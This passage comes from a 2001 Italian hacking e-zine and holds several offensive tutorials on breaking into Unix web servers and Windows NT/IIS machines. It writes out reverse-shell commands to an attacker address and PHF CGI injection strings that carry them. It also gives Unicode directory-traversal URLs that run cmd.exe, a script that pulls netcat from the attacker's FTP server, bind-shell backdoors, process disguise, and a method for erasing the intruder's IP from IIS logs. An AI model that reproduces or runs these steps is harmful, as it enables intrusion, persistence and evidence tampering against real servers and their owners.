anche al di fuori del range standard (1 - 65535). Avete mai pensato di poter mettere il netcat in ascolto sulla 9999999 ? No ?! Bene cominciate a farlo ! Netcat lo permette e resta in attesa di ordini da parte Vostra. E qualsiasi scanner non arrivera' mai a rintracciarla ! Oppure che dite di una porta -21 ? Credete che riuscira' a trovarla ? Chi ?! NMAP ? NO!!!! Nmap non la trovera' ! Al limite l'unica cosa che restera' visibile sara' il processo in questione che Voi bravi bravini rinominerete con un nome simile ad un processo di sistema ! Vediamo per es. ipscan.exe , iflog.exe , spool.exe , e poi ... ma insomma che cazzo volete che ne sappia io ! Inventate no ?! Bene ! la cosa ovviamente non durera' in eterno , ma sicuramente il tempo di durata di tutta sta manetta sara' direttamente proporzionale al grado di preparazione di chi amministra la macchina. Preparatevi quindi ad una shell abbastanza duratura. Intanto nella speranza di avervi dato uno spunto di riflessione in piu' Vi saluto e buon smanettamento a tutti ! Al prossimo articolo. ciao ! ---------TDI110CV---------- TDI110CV@ONDAQUADRA.CJB.NET +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [HACKiNG] #02 - 18/06/2001 | | TELNET iNVERS0.............................................. [E4zy] 0x06/0x25 | +-------------------------------------------------------------------------------+ Una sessione telnet inverso si rende utile quando, sul sistema che stiamo attaccando, non è possibile ottenere una shell nel modo consueto in quanto ciò ci viene impedito da un firewall che rifiuta qualsiasi connessione che non provenga dal segmento interno della propria rete. A questo punto all'attacker di turno non resta che cercare di lanciare una sessione telnet inversa, ovvero una sessione telnet originata dal server stesso che si sta cercando di attaccare, per fare questo l'hacker dovrà servirsi di un exploit che facendo forza su un demone in esecuzione sul sistema target gli permetta di originare tale canale di comunicazione, che prende anche il nome di back channel (canale di ritorno). Una volta stabilito che la sessione di comunicazione avrà origine dal sistema bersaglio verso il sistema attaccante, quest'ultimo necessiterà di una sessione netcat in grado di accettare le richieste inoltrate dal client telnet, mettiamo così in ascolto due porte accertandoci che non siano già in uso da qualche altro componente del sistema: nc -l -n -v -p 80 nc -l -n -v -p 25 A questo punto siamo pronti per eseguire la sessione telnet inversa sul sistema bersaglio servendoci di un exploit, visto che il sistema preso in esame è coperto da un firewall la porta 80 sarà una delle poche che non sarà protetta, di conseguenza sarà proprio sul web server che dovremo puntare per avviare il nostro back channel. Uno degli exploit più vecchi e più diffusi che affligge ancora oggi alcuni server è il bug riscontrato in PHF, in questo caso questo vecchio exploit cade proprio a fagiolo in quanto attuabile tramite la porta 80 e ci permette di avviare il comando telnet in modo da dare origine alla sessione telnet inversa, il comando che una volta eseguito sul server ci permetterà tutto ciò è il seguente: /bin/telnet nostro_ip 80 | /bin/sh | /bin/telnet nostro_ip 25 Vediamo di chiarire questo comando: la parte che precede il primo "|" (pipe) avvia una sessione telnet inversa verso la nostra porta 80 che è messa in listening dal netcat che di conseguenza è in grado di accettare la richiesta di connessione in arrivo. Il pipe ha la funzione di reindirizzare lo standard output, in questo caso l'output della tastiera viene rediretto alla shell /bin/sh il cui output viene nuovamente rediretto, dal secondo pipe, verso il nostro sistema ma questa volta la porta coinvolta è la 25, essa è messa in listening dalla seconda sessione netcat. Ricapitolando, tutto ciò che scriviamo sulla prima sessione netcat (per capirci quella che fa capo alla porta 80) viene rediretto alla shell che risponde all'input di conseguenza, fornendo un suo output, ovvero il risultato dei nostri comandi si renderà disponibile sulla seconda sessione netcat (quella che fa capo alla porta 25). Le porte 80 e 25 non sono state scelte casualmente, bensì sono 2 porte il cui traffico non è passibile di filtraggio da parte del firewall. L'esecuzione di tale comando è possibile inviando a PHF la seguente stringa: /cgi-bin/phf?Qalias=x%0a/bin/telnet%20nostro_ip%2080%20|%20/bin/sh%20|%20/bin/telnet %20nostro_ip%2025 _____________ _____________ _____________ |_Netcat______| |_Shell_______| |_Netcat______| | nc -l -p 80 | | | | nc -l -p 25 | | | -------> | | -------> | | | | | | | | |_____________| |_____________| |_____________| local remote local Nulla ci vieta di utilizzare come client direttamente lo stesso netcat (dal server bersaglio) per originare il canale di ritorno, esso si rivela utile rendendo il nostro compito molto più facile in quanto è in grado di originare una sessione inversa e restituire la shell alla sessione in ascolto sul nostro pc come specificato dal parametro -e, ma vediamo nei dettagli di cosa si tratta...prima di tutto è necessario porre in listening una porta del nostro pc, per far questo basterà procedere come visto in precedenza: nc -l -n -v -p 80 Una volta posta in ascolto la sessione netcat locale ci dovremmo preoccupare di originare la sessione netcat inversa dal server bersaglio, per far ciò dovremmo eseguire il seguente comando sul server remoto: nc -e /bin/sh nostro_ip 80 Per far ciò dovremmo operare come descritto in precedenza ovvero servendoci di un opportuno exploit (nel nostro caso è rappresentato dal bug del PHF) che ci permetterà di eseguire il comando desiderato sul sistema remoto; ecco la stringa relativa all'exploit del PHF: cgi-bin/phf?Qalias=x%0a/bin/nc%20-e%20/bin/sh%20nostro_ip%2080 Tale comando, una volta processato dal web server, restituirà una shell interattiva alla sessione netcat in esecuzione in locale. Il vantaggio di utilizzare netcat è rappresentato dal fatto che non è più necessario utilizzare una redirezione dell'output standard tramite pipe, ma il programma client è autonomo in questo senso: utilizzando il parametro -e restituisce il prompt della shell alla sessione in ascolto che fa capo all'ip e alla porta specificata. _____________ _____________ |_Netcat______| |_Netcat______| | nc -l -p 80 | | | | | <------> | | nc -e /bin/sh nostro_ip 80 | | | | |_____________| |_____________| local remote +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [HACKiNG] #02 - 18/06/2001 | | NT HACKiNG ............................................ [Tritemius] 0x07/0x25 | +-------------------------------------------------------------------------------+ iNTR0 ===== Questa guida spiega come infiltrarsi da remoto in una macchina NT (4.0/ 5.0) su cui e' installato Internet Information Server (il web server della Microsoft:da ora IIS). Circa il 20% dei web server collegati alla Rete utilizzano questa configurazione e buona parte di queste macchine sono vulnerabili. In assenza di IIS, si puo' tentare di penetrare da remoto tramite SQL Server (porta tcp 1433). I clamorosi furti di carte di credito dello scorso anno sono stati effettuati in questo modo. Naturalmente rimangono tutti gli altri metodi "classici" (condivisioni netbios, brute-force, dictionary attack, soc-eng...), ma visto che esistono gia' molte guide che affrontano questi argomenti, qui non verranno affrontati. L'accesso al sistema e' solo un aspetto dell'intrusione, che e' un'azione articolata e piena di difficolta' e insidie. Come non lasciare traccia del proprio passaggio; come ottenere privilegi superiori rispetto a quelli "guadagnati" con l'exploit; come rimanere nel sistema e rientrare successivamente: queste problematiche verranno affrontate in questo articolo. L'autore non si assume nessuna responsabilita' rispetto all'uso che verra' fatto delle informazioni qui pubblicate. Dopotutto questa non e' che la raccolta organica di informazioni facilmente reperibili in Rete. WE WANT iNF0RMATi0N =================== Su questo non mi soffermo, ma sarebbe buona cosa informarsi prima di agire. Cercare di capire com'e' configurata la rete, se ci sono firewall, quali servizi sono disponibili. Date uno sguardo al sito web, spulciate le pagine html, fate un whois per vedere chi avete di fronte. Cercate di ottenere il numero maggiore informazioni sull'obiettivo: maggiori sono le informazioni, maggiori sono le possibilita' di successo. Esistono tanti tools interssanti: nmap,nslookup,traceroute... usateli ! 1984 ==== Prima di qualsiasi operazione e' bene sapere che in Internet NON siete anonimi. Leggetevi qualche guida sull'anonimato: se avete dei dubbi lasciate stare. Attenti ai telefoni fissi, a quelli mobili: cambiare SIM non basta... Attenti alle cabine pubbliche. Non fidatevi del vostro provider, non fidatevi troppo dei wingate e dei proxy che trovate nelle liste pubbliche... Insomma: siate paranoici ! SQL SERVER ========== SQL Server (giunto alla versione 7) e' il programma Microsoft che si occupa della gestione dei database. Questa applicazione comunica su reti tcp attraverso la porta 1433. Gli account possono essere gestiti in due modi: in modalita' "SQL Server" oppure possono essere integrati nel sistema, e quindi gestiti direttamente da NT attraverso le policy dei normali account. Se l'amministratore utilizza il primo metodo, l'account di default dell'utente amministratore e' il seguente: user: "sa" password: nessuna Inutile dire che in molti casi l'account non viene modificato... A questo punto i casi sono due: o ci si collega a SQL Server tramite l'Enterprise Manager (ma dovete averlo installato sul vostro sistema) e andate a zonzo per i database a cercare roba interessante; oppure si usa un exploit (SQLexec) che permette di eseguire da remoto comandi con privilegi di amministratore. Tutto cio' se l'account e' standard. E se l'admin lo avesse cambiato ? Noi non ci arrendiamo... L'ESTENSi0NE .HTR ================= Se l'amministratore ha provveduto a cambiare l'account di default di SQL Server si puo' tentare di reperire le nuove impostazioni dalle pagine asp. Normalmente le pagine asp (Active Server Pages) vengono utilizzate per creare pagine html dinamiche; le pagine asp contengono le istruzioni per aprire i database o comunque possono contenere informazioni che possono risultare utili. Il problema e' che le pagine asp risiedono sul server e non possono essere visuliazzate: almeno, non in condizioni normali... Infatti, basta aggiungere '+.htr' al nome dello script e il server ci inviera' il codice sorgente della pagina, password comprese ! In realta' dovremo puntare la nostra attenzione al file global.asa, un file particolare che di solito contiene le informazioni piu' interessanti. Quindi, digitando dal browser http://www.vittima.com/global.asa+.htr ci ritroveremo di fronte una pagina bianca: aprite il sorgente html e troverete il codice dello script, che di solito contiene le istruzioni di apertura del database: il gioco e' fatto. Come sempre, non tutti i server sono vulnerabili a questo problema. Ultimamente e'stato scoperto che anche le macchine "patchate" contro questa vulnerabilita' rimangono "esposte" al problema. Modificando leggermente la sintassi della richiesta http si ottiene lo stesso risultato: invece di global.asa+.htr mettere global.asa+%3F.htr. UNiC0DE ======= E' giunto il momento di presentare il bug piu' macroscopico nella storia dell'umanita': "Unicode Tranversal Directory" (Copyright Microsoft). Per certi versi ricorda il bug del "phf" che alcuni anni fa fece fare brutta figura addirittura alla CIA, ma oggi Internet ha una portata molto piu' vasta rispetto al 97/98, e in fin dei conti il bug della Microsoft probabilmente e' il piu' semplice dell'intera storia della "pirateria" informatica ! Ma cosa fa in pratica questo bug ? Quando vi collegate a un sito web vi trovate di fronte alla pagina principale: siete nella root (radice) del sito: da qui potreste avere accesso ai rami inferiori della struttura del sito (sottocartele); ma non avete la possibilita' di "risalire" la gerarchia del sito "prima" della pagina indice. Chi ha familiarita' con la linea di comando sa che con 'cd ..' si risale alla directory di livello superiore nella struttura ad albero della partizione su cui ci troviamo. Se un web server permettesse questa operazione, sarebbe possibile "evadere" dallo spazio dedicato agli utenti e andare a zonzo per tutto il sistema ! Un url del genere: http://www.vittiam.com/..\..\autoexec.bat ci permetterebbe di eseguire da remoto il file autoexec.bat o di leggere qualsiasi file. Molti web server minori hanno o hanno avuto questo problema (compresi i web server inseriti in ICQ99). Ebbene, IIS non e' direttamente esposto a questo problema: o meglio lo e' ma non in questa forma. Qui entra in scena Unicode. Unicode e' un formato di codifica di simboli, un po' come l'ascii; ma Unicode, a differenza di ascii e' un codice a 16bit. Questo significa che ascii puo' rappresentare 256 caratteri/simboli mentre Unicode ne puo' rappresentare 65536. Torniamo a IIS. Quando al server della Microsoft viene sottoposta una richiesta come quella vista sopra ("..\..\") riconoscendola come errata la scarta; ma quando si trova di fronte dei codici Unicode, li interpreta e li esegue come se fossero legittimi ! Quindi, se al posto di "..\..\" mettiamo "..%c0%af.." IIS lo considera un URL idoneo e lo esegue; ma c'e' un problema %c0%af corrisponde al carattere "\"... Ingannando IIS in questo modo, riusciamo a "evadere" dalla root del web server. Il prossimo passo e' cercare l'interprete di comandi. Lanciare comandi da remoto e' molto semplice, si puo' fare anche dal browser. E' piu' comodo farlo ricorrendo a uno dei numerosissimi exploit in circolazione (vedi hack.co.za, packetstorm.securify.com) NOTA: Anche il Personal Web Server fornito con Windows 98 e' afflitto da questo problema, quindi se lo avete installato... STRUMENTi NECESSARi =================== Poter eseguire comandi non serve a niente in se; e' necessaria una shell interattiva. dei tools per gestire i processi, magari uno sniffer :) nc.exe, il netcat, ci servira' per aprire una shell (cmd.exe); pslist.exe pskill.exe rispettivamente per listare i processi in esecuzione (e ricavare quindi il PID,"Process ID"), e per "killare" il processo. Questi programmi sono utilissimi sopratutto per killare istanze di nc e cmd o altri programmi che sono rimasti "erroneamente" in esecuzione... Inoltre server pdh.dll, libreria dinamica senza la quale pslist e pskill non funzionano... Questi programmi fanno parte di una suite molto interessante. Questi progeammi li trovate qui: http://www.sysinternals.com CARiCARE FiLE ============= Ok, possiamo eseguire comandi, ma ci serve una shell interattiva: come fare ? Semplice: usiamo il client ftp di NT per scaricare una backdoor che avremo sistemato in precedenza su un sito ftp al quale possiamo accedere. Purtroppo non posiamo interagire con il client ftp come se ci trovassimo alla console, quindi dovremo creare uno script e richiamare l'ftp da remoto tramite uno degli exploit di cui abbiamo parlato prima. Lo script avra' questo aspetto: open ftp.tuosito.com tuousername tuapassword binary get nc.exe quit Quindi da reomoto eseguiremo ftp -s:nomescript Se tutto e' andato bene ci troveremo il netcat (nc.exe) sul server ! I file che portate a bordo metteteli in un ripostiglio "nascosto": create una directory e attivate l'attributo "h" (hidden, nascosto) attrib +h nomedir ATTENZIONE: nell'explorer la cartella restera' visibile, quindi gia' che ci siete, datele un nome che la possa far identificare come cartella di sistema. APRiRE UNA SHELL ================ Aprire una shell e' abbastanza semplice a questo punto: nc -l -p 31337 -d -e cmd.exe dove nc -l -p dice al netcat di aprire una porta tcp, in questo caso la 31337; -d vuol dire "detach", esegue il processo in background; -e esegue cmd.exe ovvero l'interprete di comandi si NT. Proviamo a collegarci con telnet sul server-vittima alla porta 31337 e ci troviamo di fronte il prompt msdos ! Una volta disconnessi pero' la porta sara' irrimediabilmente chiusa. Sostiutendo la "-l" con "-L" la backdoor restera' in ascolto anche dopo il termine della sessione. FiREWALL ======== Fin qui tutto bene, se non fosse per la presenza di firewall. Ok, avete "bindato" cmd.exe sulla porta tcp 31337, vi collegate e... "connection refused" ! Perche' ? Probabilemtente un firewall blocca le porte non necessarie. E allora ? Spesso le porte "basse" sono aperte (provate la 99 per esempio). Se l'Admin e' proprio una carogna ha lasciato aperto solo le porte strettamente neccessarie... C'e' ancora una speranza. Se sulla macchina e' attivo un server ftp e' fatta. L'ftp usa 2 porte standard: la 21 per i comandi e la 20 per il trasferimento dei dati: tombola! la shell la mettiamo sulla 20! Prima di agire, utilizzate nmap per capire se una porta e' aperta o e' filtrata dal firewall. Questo vi evitera' pericolose complicazioni. i L0G Di NT =========== NT mantiene traccia delle operazioni delle operazioni relative al sistema tramite 3 log: 1) software.log registra le attivita' delle applicazioni. Quando un programma presenta un malfunzionamento l'evento viene registrato qui. 2) security.log questo log registra i tentativi di logon falliti, i tentativi di accesso a risorse da parte di utenti non autorizzati etc. Per default non logga niente... 3) system.log Qui vengono registrati glii eventi relativi al systema (shutdown, problemi relativi ai servizi...) Questi file di registro, che per default si trovano sotto \WINNT\System32 \config, vengono visualizzati tramite un particolare tool, l'Event Viewer. Solo l'amministratore ha accesso a questi file. In caso di intrusione dal Web (vedi bug di IIS), questi log sono del tutto inutili dal punto di vista della sicurezza. L'attacker nella maggior parte dei casi li puo' tranquillamente ignorare: puo' fare gran parte del lavoro SENZA avere i privilegi di Administrator... Comunque tenete presente che dall'Event Viewer l'amministratore puo' tenere d'occhio gran parte delle attivita' della macchina, e alcuni messaggi potrebbero insospettirlo. i L0G Di iNETiNF0 ================= Inetinfo.exe e' il programma che gestice l'Internet Information Server (IIS per gli amici), il server FTP, eventualmente il server SMTP. Questo programma immagazzina i log relativi alla propria attivita' nella directory di default WIINT\System32\logfiles. Questi log possono avere 3 formati: 1) Il formato W3C che ha questo aspetto: 13:41:16 10.0.0.11 GET /iisstart.asp 302 13:41:16 10.0.0.11 GET /localstart.asp 401 13:41:28 10.0.0.11 GET /prova/ 302 13:41:28 10.0.0.11 GET /prova/Default.htm 200 13:44:07 10.0.0.11 GET /Default.htm 200 L'ip registrato ovviamente e' quello del client. 2) Il formarto NCSA: 10.0.0.11 - - [07/Feb/2001:09:15:38 +0100] "GET /Default.htm HTTP/1.1" 200 326 3) Il formato IIS: 10.0.0.11, -, 07/02/2001, 9.19.19, W3SVC1, COMP, 10.0.0.11, 211, 242, 326, 200, 0, GET, /Default.htm, -, Il formato NCSA puo' essere personalizzato dall'amministratore, aggiungendo campi per rendere piu' dettagliata l'attivita'. Anche il criterio di creazione di questi file e' personalizzabile. Si puo' fare in modo che venga creato un file ogni giorno, ogni sttimana, ogni mese; oppure al raggiungimento di una certa dimensione. Questi file possono essere manipolati dall'utente IUSR_MACHINE; cio' significa che se entrate tramite un bug di IIS sarete in grado di modificare questi log SENZA avere i privilegi di amministratore, con l'eccezione del file in uso dal sistema. M0DiFiCARE i FiLE Di iNETiNF0 ============================= Molto semplice, come sotto Unix: cambia il nome dei comandi, ma in pratica si opera allo stesso modo. Se vogliamo eliminare tutte le entry con il nostro ip basta eseguire type ex010101.log | find /V "192.168.0.2" > temp del ex010101.log move temp ex010101.log Type mostra il file sullo standard-output; find /V filtra tutte le linee dove non e' presente (/V) il nostro ip (192.168.0.2). Quindi memorizziamo in un file temporaneo, eliminiamo l'originale e rinominiamo il file temporaneo: di noi non c'e' piu' traccia... Ancor meglio sarebbe scrivere un programma. Pero' abbiamo visto che c'e' un problema: il file di log in uso non e' modificabile: se il file venisse rilasciato dopo 6 mesi, le tracce rimarrebbero li ben visibili, senza possibilita' di scampo. La soluzione ? Semplice: si "libera" il file in questione, "killando" il processo inetinfo.exe, nodificando il file come visto sopra e riavviando inetinfo.exe ! Con pslist.exe otteniamo la lista dei pid; cerchiamo quello di inetinfo; lo killiamo con pskill.exe, modifichiamo il log e riavviamo il servizio lanciando il programma inetinfo.exe che si trova sotto WINNT\System32\inetsrv. Vi e' pero' un piccolo particolare: per killare inetinfo bisogna avere i permessi di Administrator... Il bug di SQL e l'exploit da remoto del IPP (Internet Printing Protocol) su IIS5 danno questi privilegi. IIS/SERV-U: C0PiA LETALE ======================== Esistono diversi modi sotto NT per scalare i privilegi: gli exploit "getadmin", "sechole","secholed","sqlexec"; la possibilita' di installare uno sniffer e carpire le password, il recupero del file degli hash di sistema (sam._), la ricerca di informazioni nei file .ini delle applicazioni installate. Io vorrei porre l'accento proprio su questo punto. Su parecchi sistemi si puo' trovare l'ftp server Serv-U. Questo programma memorizza le password di accesso appunto in un file ini. Ora, tenetevi forte: le password possono essere IN CHIARO o criptate con DES; inoltre il file e' leggibile da chiunque. Se le password sono criptate, basta prelevare il file, recuperare gli hash e crackarli con John the Ripper o programma analogo. Se l'Admin ha inibito l'accesso delle directory del web a IUSR_MACHINE, voi ci rientrate tramite ftp ! C0NCLUSi0NE =========== Questa e' solo una piccola parte di quello che ci sarebbe da dire. Esistono altri exploit (ne sono usciti alcuni clamorosi mentre scrivevo questo articolo), altre insidie. Non ho parlato dell'utilizzo di sniffer, delll'installazione di backdoor... ci penseranno altri. Inoltre sarebbe utile scrivere un articolo completo sul modello di sicurezza di NT (4 e 5), e sulle reti Microsoft, argomenti abbastanza complessi e trattati solo su costosi manualoni. Per concludere voglio solo ricordare che il fatto che un exploit sia facile da eseguire e un bug semplice da sfruttare, non significa che un'intrusione sia un'azione da prendere alla leggera: mai. Siete pregati di non utilizzare queste informazioni per partecipare alla stupidissima gara "a chi ne buca di piu'". Non inviatemi email con richieste di approfondimenti: la trattazione dell'argomento da parte mia si arresta qui. +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [HACKiNG] #02 - 18/06/2001 | | VULNERABiLiTA' Di iiS .......................... [MightyInquisitor] 0x08/0x25 | +-------------------------------------------------------------------------------+ /------------------------------------------------------------------\ |-Titolo: VULNERABILITA' DELLE RETI WINDOWS versione 2.0-----------| |-Data: 8 Maggio 2001----------------------------------------------| |-Autore: MightyInquisitor-----------------------------------------| |-E-mail: mightyinquisitor@libero.it-------------------------------| |-Home-page: http://mightyinquisitor.cjb.net/----------------------| |-IRC: irc.azzurra.it - canali: #chiHACKERare, #HackzXtreme, #Hack-| \------------------------------------------------------------------/ /------------------------DiSCLAiMER-LEGALi-------------------------\ |------------------------------------------------------------------| |QUEST0 TEST0 DEVE iNTENDERSi A LiVELL0 iNF0RMATiV0, PERCi0'-------| |L'AUTORE, MightyInquisitor, DECLiNA 0GNi RESP0NSABiLiTA' DALL'US0-| |CHE POTREBBE ESSERNE FATT0. L'AUTORE, DUNQUE, NON iNC0RAGGiA CHi--| |VOLESSE SERViRSENE PER SC0Pi iLLEGALi.----------------------------| |------------------------------------------------------------------| \------------------------------------------------------------------/ /-----------\ |0 - iNDiCE-| \-----------/ 0 - iNDiCE 1 - PREMESSA 2 - REQUiSiTi 3 - CERCARE UN H0ST VULNERABiLE 4 - TESTARE LA SUA VULNERABiLiTA' 4.1 - DA WiNDOWS 4.1.1 - MET0D0 1 4.1.2 - MET0D0 2 4.2 - DA LiNUX 5 - SF0GLiARE LE CARTELLE DEL SERVER VULNERABiLE 5.1 - DA WiND0WS 0 DA LiNUX 5.1.1 - MET0D0 1 5.1.2 - MET0D0 2 6 - ALTERARE iL C0NTENUT0 DEL SERVER VULNERABiLE 6.1 - DA WiND0WS 0 DA LiNUX 6.1.1 - MET0D0 1 6.1.2 - MET0D0 2 7 - ViRTU0SiSMi TECNiCi 8 - ADESS0 SEi UN HACKER. 0 N0? 9 - GLi EXPL0iTS /-------------\ |1 - PREMESSA-| \-------------/ In questa versione, del tutto nuova, di questo testo, ho implementato molte notizie, tra cui la spiegazione di come mettere in pratica il testo usando windows, cosa che avevo trascurato nelle precedenti versioni. Ho deciso di farlo perche' mi e' stato chiesto da molte persone in chat. Molte persone pensano che queste informazioni non dovrebbero essere pubblicate. Al contrario Io credo sia utile farlo perche' molti siti di governi stranieri (...e non solo) vengono hakkati in continuazione. Ho costatato, con dispiacere, che ci sono molte imprese che non si preoccupano della sicurezza, avvolte non sanno nemmeno cosa fare: hanno le proprie pagine hakkate, i loro server "invasi", e cio' nonostante non si preoccupano di rimediare alla vulnerabilita' dei propri server. Purtroppo in Italia questo fenomeno è abbastanza diffuso, soprattutto perche' viviamo in un paese "microsoft dipendente" e di conseguenza i server sono molto vulnerabili. Molte imprese non hanno la consapevolezza che necessitano di un team, denominato Security Officiers, che si occupi esclusivamente della sicurezza delle reti all'interno dei propri stabilimenti. Spero che la divulgazione di questo testo possa aiutare gli amministratori a difendere al meglio le proprie reti. Cercherò ora di spiegare passo dopo passo come un hacker, in molti casi cracker, riesce ad ottenere l'accesso ad un server vulnerabile (lo sono tutti o quasi) che gira su piattaforma Microsoft Windows NT IIS 4.0/5.0 UNICODE Directory Trasversal. Segue ora un elenco dei sistemi operativi e dei programmi vulnerabili: Microsoft IIS 5.0 - Microsoft Windows NT 2000 Microsoft IIS 4.0 - Microsoft Windows NT 4.0 + Microsoft BackOffice 4.5 - Microsoft Windows NT 4.0 + Microsoft BackOffice 4.0 - Microsoft Windows NT 4.0 /--------------\ |2 - REQUiSiTi-| \--------------/ Prima di intraprendere la lettura di questo testo e' bene conoscere alcuni concetti di informatica quali: 1. Avere una connessione ad internet (eHeH ovviamente ;-)) 2. Sapere usare almeno un po' linux (qualsiasi distribuzione va bene) 3. Conoscere la terminologia informatica. Sapere quindi cos'e' un host, un server, una rete, ecc... /--------------------------------\ |3 - CERCARE UN H0ST VULNERABiLE-| \--------------------------------/ Proprio perche' piu' del 60% dei server al mondo girano su piattaforma Windows IIS 4.0/5.0, non credo avrete difficolta' a trovarne uno. Generalmente gli host piu' ricercati sono i piu' conosciuti, come siti del governo, aziende in mano allo Stato e cosi' via, insomma siti mondialmente conosciuti e facilmente trovabili. /----------------------------------\ |4 - TESTARE LA SUA VULNERABiLiTA'-| \----------------------------------/ Per testare la vulnerabilita' di un host bisogna fargli uno scan mediante un programma di una determinata categoria di software denominata 'scanner'. Esistono scanners che ricercano le falle (i bugs) all'interno dei servers attivi. Questi scanners verificano se qualche servizio del server è vulnerabile, e quindi se la falla non è ancora stata corretta. Per testare questa vulnerabilita' esistono scanners sia per windows che per linux. Personalmente per windows ti consiglio il SSS - Security Shadow Scanner (scaricabile da http://www.rsh.kiev.ua) oppure l'utilizzazione (possibile, a differenza di quello che alcuni pensano) di uno scanner scritto in perl: unicodecheck.pl (uni.pl) di soli 1.45kb (scaricabile da http://www.securityfocus.com/ o da http://packetstorm.securify.com/). Da linux personalmente mi trovo molto bene con l'unicodecheck.pl quindi vi consiglio di usarlo anche con il 'free software'. Segue una breve spiegazione su come testare la vulnerabilita' dei server windows nei modi sopra citati: ----------------- 4.1 - DA WiND0WS- ----------------- 4.1.1 - MET0D0 1- ----------------- SSS - Security Shadow Scanner: Non ha misteri per la sua utilizzazione vista l'interfaccia user friendly (proprio come piace agli utenti "microsoft dipendendi"). Basta cliccare su 'Scanner', selezionare un 'Complete Scan', editarlo, cliccare su 'Next' due volte, cliccare quindi su 'Add Host' riempire il campo con l'IP da esaminare; cliccare su 'Done' e iniziare lo "scannamento" cliccando su 'Start Scan'. Quando trovera' la falla di sistema ti avviserà con un messaggio rosso dicendo che l'host e' vulnerabile al msdac.dll. 4.1.2 - MET0D0 2- ----------------- unicodecheck.pl: Per poter utilizzare un file con estensione .pl da windows e' necessario utilizzare un programma che li legga ovvero un software 'ActivePerl' scaricabile dal sito http://http://www.activeperl.com/ASPN/Downloads/ActivePerl/ (sono 8mb circa ma ne vale la pena se non avete voglia di usare linux). Una volta scaricato, installatelo e salvate i 3 exploits della serie unicode nella cartella 'c:\perl\bin'. Aprite un prompt dei comandi ms-dos, entrate nella directory del programma con il comando 'cd..' seguito dal comando 'cd perl\bin' e scrivete 'perl unicodecheck.pl XXX.XXX.XXX.XXX:80' (XXX.XXX.XXX.XXX e' l'indirizzo ip dell'host bersaglio, se non lo sai puoi inserire direttamente il dominio www.host-bersaglio.com). Premi 'enter' e aspetta qualche secondo. Se il server di questo host e' vulnerabile ti apparira' la scritta: 'Testing XXX.XXX.XXX.XXX:80 : Vulnerable' altrimenti ti apparira' scritto: 'Testing XXX.XXX.XXX.XXX:80 : Safe'. --------------- 4.2 - DA LiNUX- --------------- unicodecheck.pl: Apri un terminale e posizionati nella directory dove e' contenuto il file .pl ed esegui il comando: perl unicodecheck.pl XXX.XXX.XXX.XXX:80 (XXX.XXX.XXX.XXX e' l'indirizzo ip dell'host bersaglio, se non lo sai puoi inserire direttamente il dominio www.host-bersaglio.com). Premi 'enter' e aspetta qualche secondo. Se il server di questo host e' vulnerabile ti apparira' la scritta: 'Testing XXX.XXX.XXX.XXX:80 : Vulnerable' altrimenti ti apparira' scritto: 'Testing XXX.XXX.XXX.XXX:80 : Safe'. /-------------------------------------------------\ |5 - SF0GLiARE LE CARTELLE DEL SERVER VULNERABiLE-| \-------------------------------------------------/ Per frugare tra le directory del server vulnerabile ci sono fondamentalmente due metodi. Uno consiste nell'utilizzo degli altri due exploit della serie unicode e l'altro nell'utilizzo del proprio browser per mezzo di solo alcune righe di comando. Questo metodo e' molto comodo e semplice perche' non necessita di alcun tipo di software ulteriore, ma soltanto di uno sfogliatore. ---------------------------- 5.1 - DA WiND0WS 0 DA LiNUX- ---------------------------- 5.1.1 - MET0D0 1- ----------------- exploits: Per prima cosa devi andare a scaricare gli altri due exploits (unicodexecute.pl da 1.27kb e unicodexecute2.pl da 2.24kb) da http://www.securityfocus.com/ oppure da http://packetstorm.securify.com/. Questi due exploits ti servono per "gestire" l'host bersaglio visto che hai gia' attestato la sua vulnerabilita'. Sullo stesso prompt di ms-dos che hai gia' aperto (se usi windows) o sullo stesso terminale (se usi linux) esegui il comando: perl unicodexecute.pl XXX.XXX.XXX.XXX:80 dir+c:\ (se non funziona con unicodexecute.pl prova con unicodexecute2.pl). Ti apparira' la scritta: 'Executing dir c: on XXX.XXX.XXX.XXX:80' e ti mostrerà una serie di dati del server seguita dall'elenco delle directory e dei files contenuti nella unita' c:\ del server che sara' molto simile alla seguente: http/X.X XXX OK Server: Microsoft-IIS/X.0 Date: la data di oggi Content-Type: xxx (puo' variare da sistema a sistema) Volume in drive C has (no) label Volume Serial Number is XXXX-XXXX Directory of c: XX/XX/200X XX:XXp/a . XX/XX/200X XX:XXp/a .. XX/XX/20XX XX:XXp/a dim_file nome_file XX/XX/20XX XX:XXp/a dim_file nome_file XX/XX/20XX XX:XXp/a dim_file nome_file XX File(s) dim_tot_files bytes X Dir(s) dim_tot_dir bytes N0TA: Per eseguire il comando 'perl unicodexecute.pl XXX.XXX.XXX.XXX:80 dir+c:\' se utilizzi windows ricordati che devi possedere il programma 'ActivePerl' e che devi trovarti nella directory c:\perl\bin; se utilizzi linux devi solamente ricordare di posizionarti nella directory dove hai scaricato i file della serie unicode. In entrambe i casi la sintassi e la visualizzazione e' la stessa. 5.1.2 - MET0D0 2- ----------------- browser: Apri il tuo browser preferito e nella barra degli indirizzi scrivi l'url del server bersaglio seguito da una delle seguenti linee di comandi: 1. www.host-beraglio.com/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af.. %c0%af..%c0%af/winnt/system32/cmd.exe?/c%20dir 2. www.host-bersaglio.com/scripts/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af.. %c0%af..%c0%af/winnt/system32/cmd.exe?/c%20dir 3. www.host-bersaglio.com/msadc/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af.. %c0%af..%c0%af/winnt/system32/cmd.exe?/c%20dir 4. www.host-bersaglio.com/wwwroot/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af.. %c0%af..%c0%af/winnt/system32/cmd.exe?/c%20dir 5. www.host-bersaglio.com/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af.. %c0%af..%c0%af/winnt/system32/cmd.exe?/c%20dir 6. www.host-bersaglio.com/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af.. %c0%af..%c0%af/winnt/system32/cmd.exe?/c%20dir Prova tutte le combinazioni sovracitate fino a quando vedrai apparire (nel browser stesso) una serie di dati del server seguita dall'elenco delle directory e dei files contenuti nella unita' c:\ del server che e' identica a quella citata nell'esempio del metodo 1. Tieni a 